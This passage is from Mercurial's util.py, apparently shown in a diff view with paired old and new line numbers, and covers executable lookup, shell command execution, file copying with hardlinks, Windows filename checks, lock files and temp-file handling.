1051 if hg:
1040 _sethgexecutable(hg)
1052 _sethgexecutable(hg)
1041 elif mainfrozen():
1053 elif mainfrozen():
1042 if getattr(sys, 'frozen', None) == 'macosx_app':
1054 if getattr(sys, 'frozen', None) == 'macosx_app':
1043 # Env variable set by py2app
1055 # Env variable set by py2app
1044 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1056 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1045 else:
1057 else:
1046 _sethgexecutable(pycompat.sysexecutable)
1058 _sethgexecutable(pycompat.sysexecutable)
1047 elif (os.path.basename(
1059 elif (os.path.basename(
1048 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1060 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1049 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1061 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1050 else:
1062 else:
1051 exe = findexe('hg') or os.path.basename(sys.argv[0])
1063 exe = findexe('hg') or os.path.basename(sys.argv[0])
1052 _sethgexecutable(exe)
1064 _sethgexecutable(exe)
1053 return _hgexecutable
1065 return _hgexecutable
1054
1066
1055 def _sethgexecutable(path):
1067 def _sethgexecutable(path):
1056 """set location of the 'hg' executable"""
1068 """set location of the 'hg' executable"""
1057 global _hgexecutable
1069 global _hgexecutable
1058 _hgexecutable = path
1070 _hgexecutable = path
1059
1071
1060 def _isstdout(f):
1072 def _isstdout(f):
1061 fileno = getattr(f, 'fileno', None)
1073 fileno = getattr(f, 'fileno', None)
1062 return fileno and fileno() == sys.__stdout__.fileno()
1074 return fileno and fileno() == sys.__stdout__.fileno()
1063
1075
1064 def shellenviron(environ=None):
1076 def shellenviron(environ=None):
1065 """return environ with optional override, useful for shelling out"""
1077 """return environ with optional override, useful for shelling out"""
1066 def py2shell(val):
1078 def py2shell(val):
1067 'convert python object into string that is useful to shell'
1079 'convert python object into string that is useful to shell'
1068 if val is None or val is False:
1080 if val is None or val is False:
1069 return '0'
1081 return '0'
1070 if val is True:
1082 if val is True:
1071 return '1'
1083 return '1'
1072 return str(val)
1084 return str(val)
1073 env = dict(encoding.environ)
1085 env = dict(encoding.environ)
1074 if environ:
1086 if environ:
1075 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1087 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1076 env['HG'] = hgexecutable()
1088 env['HG'] = hgexecutable()
1077 return env
1089 return env
1078
1090
1079 def system(cmd, environ=None, cwd=None, out=None):
1091 def system(cmd, environ=None, cwd=None, out=None):
1080 '''enhanced shell command execution.
1092 '''enhanced shell command execution.
1081 run with environment maybe modified, maybe in different dir.
1093 run with environment maybe modified, maybe in different dir.
1082
1094
1083 if out is specified, it is assumed to be a file-like object that has a
1095 if out is specified, it is assumed to be a file-like object that has a
1084 write() method. stdout and stderr will be redirected to out.'''
1096 write() method. stdout and stderr will be redirected to out.'''
1085 try:
1097 try:
1086 stdout.flush()
1098 stdout.flush()
1087 except Exception:
1099 except Exception:
1088 pass
1100 pass
1089 cmd = quotecommand(cmd)
1101 cmd = quotecommand(cmd)
1090 env = shellenviron(environ)
1102 env = shellenviron(environ)
1091 if out is None or _isstdout(out):
1103 if out is None or _isstdout(out):
1092 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1104 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1093 env=env, cwd=cwd)
1105 env=env, cwd=cwd)
1094 else:
1106 else:
1095 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1107 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1096 env=env, cwd=cwd, stdout=subprocess.PIPE,
1108 env=env, cwd=cwd, stdout=subprocess.PIPE,
1097 stderr=subprocess.STDOUT)
1109 stderr=subprocess.STDOUT)
1098 for line in iter(proc.stdout.readline, ''):
1110 for line in iter(proc.stdout.readline, ''):
1099 out.write(line)
1111 out.write(line)
1100 proc.wait()
1112 proc.wait()
1101 rc = proc.returncode
1113 rc = proc.returncode
1102 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1114 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1103 rc = 0
1115 rc = 0
1104 return rc
1116 return rc
1105
1117
1106 def checksignature(func):
1118 def checksignature(func):
1107 '''wrap a function with code to check for calling errors'''
1119 '''wrap a function with code to check for calling errors'''
1108 def check(*args, **kwargs):
1120 def check(*args, **kwargs):
1109 try:
1121 try:
1110 return func(*args, **kwargs)
1122 return func(*args, **kwargs)
1111 except TypeError:
1123 except TypeError:
1112 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1124 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1113 raise error.SignatureError
1125 raise error.SignatureError
1114 raise
1126 raise
1115
1127
1116 return check
1128 return check
1117
1129
1118 # a whilelist of known filesystems where hardlink works reliably
1130 # a whilelist of known filesystems where hardlink works reliably
1119 _hardlinkfswhitelist = {
1131 _hardlinkfswhitelist = {
1120 'btrfs',
1132 'btrfs',
1121 'ext2',
1133 'ext2',
1122 'ext3',
1134 'ext3',
1123 'ext4',
1135 'ext4',
1124 'hfs',
1136 'hfs',
1125 'jfs',
1137 'jfs',
1126 'reiserfs',
1138 'reiserfs',
1127 'tmpfs',
1139 'tmpfs',
1128 'ufs',
1140 'ufs',
1129 'xfs',
1141 'xfs',
1130 'zfs',
1142 'zfs',
1131 }
1143 }
1132
1144
1133 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1145 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1134 '''copy a file, preserving mode and optionally other stat info like
1146 '''copy a file, preserving mode and optionally other stat info like
1135 atime/mtime
1147 atime/mtime
1136
1148
1137 checkambig argument is used with filestat, and is useful only if
1149 checkambig argument is used with filestat, and is useful only if
1138 destination file is guarded by any lock (e.g. repo.lock or
1150 destination file is guarded by any lock (e.g. repo.lock or
1139 repo.wlock).
1151 repo.wlock).
1140
1152
1141 copystat and checkambig should be exclusive.
1153 copystat and checkambig should be exclusive.
1142 '''
1154 '''
1143 assert not (copystat and checkambig)
1155 assert not (copystat and checkambig)
1144 oldstat = None
1156 oldstat = None
1145 if os.path.lexists(dest):
1157 if os.path.lexists(dest):
1146 if checkambig:
1158 if checkambig:
1147 oldstat = checkambig and filestat.frompath(dest)
1159 oldstat = checkambig and filestat.frompath(dest)
1148 unlink(dest)
1160 unlink(dest)
1149 if hardlink:
1161 if hardlink:
1150 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1162 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1151 # unless we are confident that dest is on a whitelisted filesystem.
1163 # unless we are confident that dest is on a whitelisted filesystem.
1152 try:
1164 try:
1153 fstype = getfstype(os.path.dirname(dest))
1165 fstype = getfstype(os.path.dirname(dest))
1154 except OSError:
1166 except OSError:
1155 fstype = None
1167 fstype = None
1156 if fstype not in _hardlinkfswhitelist:
1168 if fstype not in _hardlinkfswhitelist:
1157 hardlink = False
1169 hardlink = False
1158 if hardlink:
1170 if hardlink:
1159 try:
1171 try:
1160 oslink(src, dest)
1172 oslink(src, dest)
1161 return
1173 return
1162 except (IOError, OSError):
1174 except (IOError, OSError):
1163 pass # fall back to normal copy
1175 pass # fall back to normal copy
1164 if os.path.islink(src):
1176 if os.path.islink(src):
1165 os.symlink(os.readlink(src), dest)
1177 os.symlink(os.readlink(src), dest)
1166 # copytime is ignored for symlinks, but in general copytime isn't needed
1178 # copytime is ignored for symlinks, but in general copytime isn't needed
1167 # for them anyway
1179 # for them anyway
1168 else:
1180 else:
1169 try:
1181 try:
1170 shutil.copyfile(src, dest)
1182 shutil.copyfile(src, dest)
1171 if copystat:
1183 if copystat:
1172 # copystat also copies mode
1184 # copystat also copies mode
1173 shutil.copystat(src, dest)
1185 shutil.copystat(src, dest)
1174 else:
1186 else:
1175 shutil.copymode(src, dest)
1187 shutil.copymode(src, dest)
1176 if oldstat and oldstat.stat:
1188 if oldstat and oldstat.stat:
1177 newstat = filestat.frompath(dest)
1189 newstat = filestat.frompath(dest)
1178 if newstat.isambig(oldstat):
1190 if newstat.isambig(oldstat):
1179 # stat of copied file is ambiguous to original one
1191 # stat of copied file is ambiguous to original one
1180 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1192 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1181 os.utime(dest, (advanced, advanced))
1193 os.utime(dest, (advanced, advanced))
1182 except shutil.Error as inst:
1194 except shutil.Error as inst:
1183 raise Abort(str(inst))
1195 raise Abort(str(inst))
1184
1196
1185 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1197 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1186 """Copy a directory tree using hardlinks if possible."""
1198 """Copy a directory tree using hardlinks if possible."""
1187 num = 0
1199 num = 0
1188
1200
1189 gettopic = lambda: hardlink and _('linking') or _('copying')
1201 gettopic = lambda: hardlink and _('linking') or _('copying')
1190
1202
1191 if os.path.isdir(src):
1203 if os.path.isdir(src):
1192 if hardlink is None:
1204 if hardlink is None:
1193 hardlink = (os.stat(src).st_dev ==
1205 hardlink = (os.stat(src).st_dev ==
1194 os.stat(os.path.dirname(dst)).st_dev)
1206 os.stat(os.path.dirname(dst)).st_dev)
1195 topic = gettopic()
1207 topic = gettopic()
1196 os.mkdir(dst)
1208 os.mkdir(dst)
1197 for name, kind in listdir(src):
1209 for name, kind in listdir(src):
1198 srcname = os.path.join(src, name)
1210 srcname = os.path.join(src, name)
1199 dstname = os.path.join(dst, name)
1211 dstname = os.path.join(dst, name)
1200 def nprog(t, pos):
1212 def nprog(t, pos):
1201 if pos is not None:
1213 if pos is not None:
1202 return progress(t, pos + num)
1214 return progress(t, pos + num)
1203 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1215 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1204 num += n
1216 num += n
1205 else:
1217 else:
1206 if hardlink is None:
1218 if hardlink is None:
1207 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1219 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1208 os.stat(os.path.dirname(dst)).st_dev)
1220 os.stat(os.path.dirname(dst)).st_dev)
1209 topic = gettopic()
1221 topic = gettopic()
1210
1222
1211 if hardlink:
1223 if hardlink:
1212 try:
1224 try:
1213 oslink(src, dst)
1225 oslink(src, dst)
1214 except (IOError, OSError):
1226 except (IOError, OSError):
1215 hardlink = False
1227 hardlink = False
1216 shutil.copy(src, dst)
1228 shutil.copy(src, dst)
1217 else:
1229 else:
1218 shutil.copy(src, dst)
1230 shutil.copy(src, dst)
1219 num += 1
1231 num += 1
1220 progress(topic, num)
1232 progress(topic, num)
1221 progress(topic, None)
1233 progress(topic, None)
1222
1234
1223 return hardlink, num
1235 return hardlink, num
1224
1236
1225 _winreservednames = b'''con prn aux nul
1237 _winreservednames = b'''con prn aux nul
1226 com1 com2 com3 com4 com5 com6 com7 com8 com9
1238 com1 com2 com3 com4 com5 com6 com7 com8 com9
1227 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1239 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1228 _winreservedchars = ':*?"<>|'
1240 _winreservedchars = ':*?"<>|'
1229 def checkwinfilename(path):
1241 def checkwinfilename(path):
1230 r'''Check that the base-relative path is a valid filename on Windows.
1242 r'''Check that the base-relative path is a valid filename on Windows.
1231 Returns None if the path is ok, or a UI string describing the problem.
1243 Returns None if the path is ok, or a UI string describing the problem.
1232
1244
1233 >>> checkwinfilename("just/a/normal/path")
1245 >>> checkwinfilename("just/a/normal/path")
1234 >>> checkwinfilename("foo/bar/con.xml")
1246 >>> checkwinfilename("foo/bar/con.xml")
1235 "filename contains 'con', which is reserved on Windows"
1247 "filename contains 'con', which is reserved on Windows"
1236 >>> checkwinfilename("foo/con.xml/bar")
1248 >>> checkwinfilename("foo/con.xml/bar")
1237 "filename contains 'con', which is reserved on Windows"
1249 "filename contains 'con', which is reserved on Windows"
1238 >>> checkwinfilename("foo/bar/xml.con")
1250 >>> checkwinfilename("foo/bar/xml.con")
1239 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1251 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1240 "filename contains 'AUX', which is reserved on Windows"
1252 "filename contains 'AUX', which is reserved on Windows"
1241 >>> checkwinfilename("foo/bar/bla:.txt")
1253 >>> checkwinfilename("foo/bar/bla:.txt")
1242 "filename contains ':', which is reserved on Windows"
1254 "filename contains ':', which is reserved on Windows"
1243 >>> checkwinfilename("foo/bar/b\07la.txt")
1255 >>> checkwinfilename("foo/bar/b\07la.txt")
1244 "filename contains '\\x07', which is invalid on Windows"
1256 "filename contains '\\x07', which is invalid on Windows"
1245 >>> checkwinfilename("foo/bar/bla ")
1257 >>> checkwinfilename("foo/bar/bla ")
1246 "filename ends with ' ', which is not allowed on Windows"
1258 "filename ends with ' ', which is not allowed on Windows"
1247 >>> checkwinfilename("../bar")
1259 >>> checkwinfilename("../bar")
1248 >>> checkwinfilename("foo\\")
1260 >>> checkwinfilename("foo\\")
1249 "filename ends with '\\', which is invalid on Windows"
1261 "filename ends with '\\', which is invalid on Windows"
1250 >>> checkwinfilename("foo\\/bar")
1262 >>> checkwinfilename("foo\\/bar")
1251 "directory name ends with '\\', which is invalid on Windows"
1263 "directory name ends with '\\', which is invalid on Windows"
1252 '''
1264 '''
1253 if path.endswith('\\'):
1265 if path.endswith('\\'):
1254 return _("filename ends with '\\', which is invalid on Windows")
1266 return _("filename ends with '\\', which is invalid on Windows")
1255 if '\\/' in path:
1267 if '\\/' in path:
1256 return _("directory name ends with '\\', which is invalid on Windows")
1268 return _("directory name ends with '\\', which is invalid on Windows")
1257 for n in path.replace('\\', '/').split('/'):
1269 for n in path.replace('\\', '/').split('/'):
1258 if not n:
1270 if not n:
1259 continue
1271 continue
1260 for c in _filenamebytestr(n):
1272 for c in _filenamebytestr(n):
1261 if c in _winreservedchars:
1273 if c in _winreservedchars:
1262 return _("filename contains '%s', which is reserved "
1274 return _("filename contains '%s', which is reserved "
1263 "on Windows") % c
1275 "on Windows") % c
1264 if ord(c) <= 31:
1276 if ord(c) <= 31:
1265 return _("filename contains %r, which is invalid "
1277 return _("filename contains %r, which is invalid "
1266 "on Windows") % c
1278 "on Windows") % c
1267 base = n.split('.')[0]
1279 base = n.split('.')[0]
1268 if base and base.lower() in _winreservednames:
1280 if base and base.lower() in _winreservednames:
1269 return _("filename contains '%s', which is reserved "
1281 return _("filename contains '%s', which is reserved "
1270 "on Windows") % base
1282 "on Windows") % base
1271 t = n[-1]
1283 t = n[-1]
1272 if t in '. ' and n not in '..':
1284 if t in '. ' and n not in '..':
1273 return _("filename ends with '%s', which is not allowed "
1285 return _("filename ends with '%s', which is not allowed "
1274 "on Windows") % t
1286 "on Windows") % t
1275
1287
1276 if pycompat.osname == 'nt':
1288 if pycompat.osname == 'nt':
1277 checkosfilename = checkwinfilename
1289 checkosfilename = checkwinfilename
1278 timer = time.clock
1290 timer = time.clock
1279 else:
1291 else:
1280 checkosfilename = platform.checkosfilename
1292 checkosfilename = platform.checkosfilename
1281 timer = time.time
1293 timer = time.time
1282
1294
1283 if safehasattr(time, "perf_counter"):
1295 if safehasattr(time, "perf_counter"):
1284 timer = time.perf_counter
1296 timer = time.perf_counter
1285
1297
1286 def makelock(info, pathname):
1298 def makelock(info, pathname):
1287 try:
1299 try:
1288 return os.symlink(info, pathname)
1300 return os.symlink(info, pathname)
1289 except OSError as why:
1301 except OSError as why:
1290 if why.errno == errno.EEXIST:
1302 if why.errno == errno.EEXIST:
1291 raise
1303 raise
1292 except AttributeError: # no symlink in os
1304 except AttributeError: # no symlink in os
1293 pass
1305 pass
1294
1306
1295 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1307 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1296 os.write(ld, info)
1308 os.write(ld, info)
1297 os.close(ld)
1309 os.close(ld)
1298
1310
1299 def readlock(pathname):
1311 def readlock(pathname):
1300 try:
1312 try:
1301 return os.readlink(pathname)
1313 return os.readlink(pathname)
1302 except OSError as why:
1314 except OSError as why:
1303 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1315 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1304 raise
1316 raise
1305 except AttributeError: # no symlink in os
1317 except AttributeError: # no symlink in os
1306 pass
1318 pass
1307 fp = posixfile(pathname)
1319 fp = posixfile(pathname)
1308 r = fp.read()
1320 r = fp.read()
1309 fp.close()
1321 fp.close()
1310 return r
1322 return r
1311
1323
1312 def fstat(fp):
1324 def fstat(fp):
1313 '''stat file object that may not have fileno method.'''
1325 '''stat file object that may not have fileno method.'''
1314 try:
1326 try:
1315 return os.fstat(fp.fileno())
1327 return os.fstat(fp.fileno())
1316 except AttributeError:
1328 except AttributeError:
1317 return os.stat(fp.name)
1329 return os.stat(fp.name)
1318
1330
1319 # File system features
1331 # File system features
1320
1332
1321 def fscasesensitive(path):
1333 def fscasesensitive(path):
1322 """
1334 """
1323 Return true if the given path is on a case-sensitive filesystem
1335 Return true if the given path is on a case-sensitive filesystem
1324
1336
1325 Requires a path (like /foo/.hg) ending with a foldable final
1337 Requires a path (like /foo/.hg) ending with a foldable final
1326 directory component.
1338 directory component.
1327 """
1339 """
1328 s1 = os.lstat(path)
1340 s1 = os.lstat(path)
1329 d, b = os.path.split(path)
1341 d, b = os.path.split(path)
1330 b2 = b.upper()
1342 b2 = b.upper()
1331 if b == b2:
1343 if b == b2:
1332 b2 = b.lower()
1344 b2 = b.lower()
1333 if b == b2:
1345 if b == b2:
1334 return True # no evidence against case sensitivity
1346 return True # no evidence against case sensitivity
1335 p2 = os.path.join(d, b2)
1347 p2 = os.path.join(d, b2)
1336 try:
1348 try:
1337 s2 = os.lstat(p2)
1349 s2 = os.lstat(p2)
1338 if s2 == s1:
1350 if s2 == s1:
1339 return False
1351 return False
1340 return True
1352 return True
1341 except OSError:
1353 except OSError:
1342 return True
1354 return True
1343
1355
1344 try:
1356 try:
1345 import re2
1357 import re2
1346 _re2 = None
1358 _re2 = None
1347 except ImportError:
1359 except ImportError:
1348 _re2 = False
1360 _re2 = False
1349
1361
1350 class _re(object):
1362 class _re(object):
1351 def _checkre2(self):
1363 def _checkre2(self):
1352 global _re2
1364 global _re2
1353 try:
1365 try:
1354 # check if match works, see issue3964
1366 # check if match works, see issue3964
1355 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1367 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1356 except ImportError:
1368 except ImportError:
1357 _re2 = False
1369 _re2 = False
1358
1370
1359 def compile(self, pat, flags=0):
1371 def compile(self, pat, flags=0):
1360 '''Compile a regular expression, using re2 if possible
1372 '''Compile a regular expression, using re2 if possible
1361
1373
1362 For best performance, use only re2-compatible regexp features. The
1374 For best performance, use only re2-compatible regexp features. The
1363 only flags from the re module that are re2-compatible are
1375 only flags from the re module that are re2-compatible are
1364 IGNORECASE and MULTILINE.'''
1376 IGNORECASE and MULTILINE.'''
1365 if _re2 is None:
1377 if _re2 is None:
1366 self._checkre2()
1378 self._checkre2()
1367 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1379 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1368 if flags & remod.IGNORECASE:
1380 if flags & remod.IGNORECASE:
1369 pat = '(?i)' + pat
1381 pat = '(?i)' + pat
1370 if flags & remod.MULTILINE:
1382 if flags & remod.MULTILINE:
1371 pat = '(?m)' + pat
1383 pat = '(?m)' + pat
1372 try:
1384 try:
1373 return re2.compile(pat)
1385 return re2.compile(pat)
1374 except re2.error:
1386 except re2.error:
1375 pass
1387 pass
1376 return remod.compile(pat, flags)
1388 return remod.compile(pat, flags)
1377
1389
1378 @propertycache
1390 @propertycache
1379 def escape(self):
1391 def escape(self):
1380 '''Return the version of escape corresponding to self.compile.
1392 '''Return the version of escape corresponding to self.compile.
1381
1393
1382 This is imperfect because whether re2 or re is used for a particular
1394 This is imperfect because whether re2 or re is used for a particular
1383 function depends on the flags, etc, but it's the best we can do.
1395 function depends on the flags, etc, but it's the best we can do.
1384 '''
1396 '''
1385 global _re2
1397 global _re2
1386 if _re2 is None:
1398 if _re2 is None:
1387 self._checkre2()
1399 self._checkre2()
1388 if _re2:
1400 if _re2:
1389 return re2.escape
1401 return re2.escape
1390 else:
1402 else:
1391 return remod.escape
1403 return remod.escape
1392
1404
1393 re = _re()
1405 re = _re()
1394
1406
1395 _fspathcache = {}
1407 _fspathcache = {}
1396 def fspath(name, root):
1408 def fspath(name, root):
1397 '''Get name in the case stored in the filesystem
1409 '''Get name in the case stored in the filesystem
1398
1410
1399 The name should be relative to root, and be normcase-ed for efficiency.
1411 The name should be relative to root, and be normcase-ed for efficiency.
1400
1412
1401 Note that this function is unnecessary, and should not be
1413 Note that this function is unnecessary, and should not be
1402 called, for case-sensitive filesystems (simply because it's expensive).
1414 called, for case-sensitive filesystems (simply because it's expensive).
1403
1415
1404 The root should be normcase-ed, too.
1416 The root should be normcase-ed, too.
1405 '''
1417 '''
1406 def _makefspathcacheentry(dir):
1418 def _makefspathcacheentry(dir):
1407 return dict((normcase(n), n) for n in os.listdir(dir))
1419 return dict((normcase(n), n) for n in os.listdir(dir))
1408
1420
1409 seps = pycompat.ossep
1421 seps = pycompat.ossep
1410 if pycompat.osaltsep:
1422 if pycompat.osaltsep:
1411 seps = seps + pycompat.osaltsep
1423 seps = seps + pycompat.osaltsep
1412 # Protect backslashes. This gets silly very quickly.
1424 # Protect backslashes. This gets silly very quickly.
1413 seps.replace('\\','\\\\')
1425 seps.replace('\\','\\\\')
1414 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1426 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1415 dir = os.path.normpath(root)
1427 dir = os.path.normpath(root)
1416 result = []
1428 result = []
1417 for part, sep in pattern.findall(name):
1429 for part, sep in pattern.findall(name):
1418 if sep:
1430 if sep:
1419 result.append(sep)
1431 result.append(sep)
1420 continue
1432 continue
1421
1433
1422 if dir not in _fspathcache:
1434 if dir not in _fspathcache:
1423 _fspathcache[dir] = _makefspathcacheentry(dir)
1435 _fspathcache[dir] = _makefspathcacheentry(dir)
1424 contents = _fspathcache[dir]
1436 contents = _fspathcache[dir]
1425
1437
1426 found = contents.get(part)
1438 found = contents.get(part)
1427 if not found:
1439 if not found:
1428 # retry "once per directory" per "dirstate.walk" which
1440 # retry "once per directory" per "dirstate.walk" which
1429 # may take place for each patches of "hg qpush", for example
1441 # may take place for each patches of "hg qpush", for example
1430 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1442 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1431 found = contents.get(part)
1443 found = contents.get(part)
1432
1444
1433 result.append(found or part)
1445 result.append(found or part)
1434 dir = os.path.join(dir, part)
1446 dir = os.path.join(dir, part)
1435
1447
1436 return ''.join(result)
1448 return ''.join(result)
1437
1449
1438 def getfstype(dirpath):
1450 def getfstype(dirpath):
1439 '''Get the filesystem type name from a directory (best-effort)
1451 '''Get the filesystem type name from a directory (best-effort)
1440
1452
1441 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1453 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1442 '''
1454 '''
1443 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1455 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1444
1456
1445 def checknlink(testfile):
1457 def checknlink(testfile):
1446 '''check whether hardlink count reporting works properly'''
1458 '''check whether hardlink count reporting works properly'''
1447
1459
1448 # testfile may be open, so we need a separate file for checking to
1460 # testfile may be open, so we need a separate file for checking to
1449 # work around issue2543 (or testfile may get lost on Samba shares)
1461 # work around issue2543 (or testfile may get lost on Samba shares)
1450 f1 = testfile + ".hgtmp1"
1462 f1 = testfile + ".hgtmp1"
1451 if os.path.lexists(f1):
1463 if os.path.lexists(f1):
1452 return False
1464 return False
1453 try:
1465 try:
1454 posixfile(f1, 'w').close()
1466 posixfile(f1, 'w').close()
1455 except IOError:
1467 except IOError:
1456 try:
1468 try:
1457 os.unlink(f1)
1469 os.unlink(f1)
1458 except OSError:
1470 except OSError:
1459 pass
1471 pass
1460 return False
1472 return False
1461
1473
1462 f2 = testfile + ".hgtmp2"
1474 f2 = testfile + ".hgtmp2"
1463 fd = None
1475 fd = None
1464 try:
1476 try:
1465 oslink(f1, f2)
1477 oslink(f1, f2)
1466 # nlinks() may behave differently for files on Windows shares if
1478 # nlinks() may behave differently for files on Windows shares if
1467 # the file is open.
1479 # the file is open.
1468 fd = posixfile(f2)
1480 fd = posixfile(f2)
1469 return nlinks(f2) > 1
1481 return nlinks(f2) > 1
1470 except OSError:
1482 except OSError:
1471 return False
1483 return False
1472 finally:
1484 finally:
1473 if fd is not None:
1485 if fd is not None:
1474 fd.close()
1486 fd.close()
1475 for f in (f1, f2):
1487 for f in (f1, f2):
1476 try:
1488 try:
1477 os.unlink(f)
1489 os.unlink(f)
1478 except OSError:
1490 except OSError:
1479 pass
1491 pass
1480
1492
1481 def endswithsep(path):
1493 def endswithsep(path):
1482 '''Check path ends with os.sep or os.altsep.'''
1494 '''Check path ends with os.sep or os.altsep.'''
1483 return (path.endswith(pycompat.ossep)
1495 return (path.endswith(pycompat.ossep)
1484 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1496 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1485
1497
1486 def splitpath(path):
1498 def splitpath(path):
1487 '''Split path by os.sep.
1499 '''Split path by os.sep.
1488 Note that this function does not use os.altsep because this is
1500 Note that this function does not use os.altsep because this is
1489 an alternative of simple "xxx.split(os.sep)".
1501 an alternative of simple "xxx.split(os.sep)".
1490 It is recommended to use os.path.normpath() before using this
1502 It is recommended to use os.path.normpath() before using this
1491 function if need.'''
1503 function if need.'''
1492 return path.split(pycompat.ossep)
1504 return path.split(pycompat.ossep)
1493
1505
1494 def gui():
1506 def gui():
1495 '''Are we running in a GUI?'''
1507 '''Are we running in a GUI?'''
1496 if pycompat.sysplatform == 'darwin':
1508 if pycompat.sysplatform == 'darwin':
1497 if 'SSH_CONNECTION' in encoding.environ:
1509 if 'SSH_CONNECTION' in encoding.environ:
1498 # handle SSH access to a box where the user is logged in
1510 # handle SSH access to a box where the user is logged in
1499 return False
1511 return False
1500 elif getattr(osutil, 'isgui', None):
1512 elif getattr(osutil, 'isgui', None):
1501 # check if a CoreGraphics session is available
1513 # check if a CoreGraphics session is available
1502 return osutil.isgui()
1514 return osutil.isgui()
1503 else:
1515 else:
1504 # pure build; use a safe default
1516 # pure build; use a safe default
1505 return True
1517 return True
1506 else:
1518 else:
1507 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1519 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1508
1520
1509 def mktempcopy(name, emptyok=False, createmode=None):
1521 def mktempcopy(name, emptyok=False, createmode=None):
1510 """Create a temporary file with the same contents from name
1522 """Create a temporary file with the same contents from name
1511
1523
1512 The permission bits are copied from the original file.
1524 The permission bits are copied from the original file.
1513
1525
1514 If the temporary file is going to be truncated immediately, you
1526 If the temporary file is going to be truncated immediately, you
1515 can use emptyok=True as an optimization.
1527 can use emptyok=True as an optimization.
1516
1528
1517 Returns the name of the temporary file.
1529 Returns the name of the temporary file.
1518 """
1530 """
1519 d, fn = os.path.split(name)
1531 d, fn = os.path.split(name)
1520 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1532 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1521 os.close(fd)
1533 os.close(fd)
1522 # Temporary files are created with mode 0600, which is usually not
1534 # Temporary files are created with mode 0600, which is usually not
1523 # what we want. If the original file already exists, just copy
1535 # what we want. If the original file already exists, just copy
1524 # its mode. Otherwise, manually obey umask.
1536 # its mode. Otherwise, manually obey umask.
1525 copymode(name, temp, createmode)
1537 copymode(name, temp, createmode)
1526 if emptyok:
1538 if emptyok:
1527 return temp
1539 return temp
1528 try:
1540 try:
1529 try:
1541 try:
1530 ifp = posixfile(name, "rb")
1542 ifp = posixfile(name, "rb")
1531 except IOError as inst:
1543 except IOError as inst:
1532 if inst.errno == errno.ENOENT:
1544 if inst.errno == errno.ENOENT:
1533 return temp
1545 return temp
1534 if not getattr(inst, 'filename', None):
1546 if not getattr(inst, 'filename', None):
1535 inst.filename = name
1547 inst.filename = name
1536 raise
1548 raise
1537 ofp = posixfile(temp, "wb")
1549 ofp = posixfile(temp, "wb")
1538 for chunk in filechunkiter(ifp):
1550 for chunk in filechunkiter(ifp):
1539 ofp.write(chunk)
1551 ofp.write(chunk)
1540 ifp.close()
1552 ifp.close()
1541 ofp.close()
1553 ofp.close()
1542 except: # re-raises
1554 except: # re-raises
1543 try: os.unlink(temp)
1555 try: os.unlink(temp)
1544 except OSError: pass
1556 except OSError: pass
1545 raise
1557 raise
1546 return temp
1558 return temp
1547
1559
1548 class filestat(object):
1560 class filestat(object):
1549 """help to exactly detect change of a file
1561 """help to exactly detect change of a file
1550
1562
1551 'stat' attribute is result of 'os.stat()' if specified 'path'
1563 'stat' attribute is result of 'os.stat()' if specified 'path'
1552 exists. Otherwise, it is None. This can avoid preparative
1564 exists. Otherwise, it is None. This can avoid preparative
1553 'exists()' examination on client side of this class.
1565 'exists()' examination on client side of this class.
1554 """
1566 """
1555 def __init__(self, stat):
1567 def __init__(self, stat):
1556 self.stat = stat
1568 self.stat = stat
1557
1569
1558 @classmethod
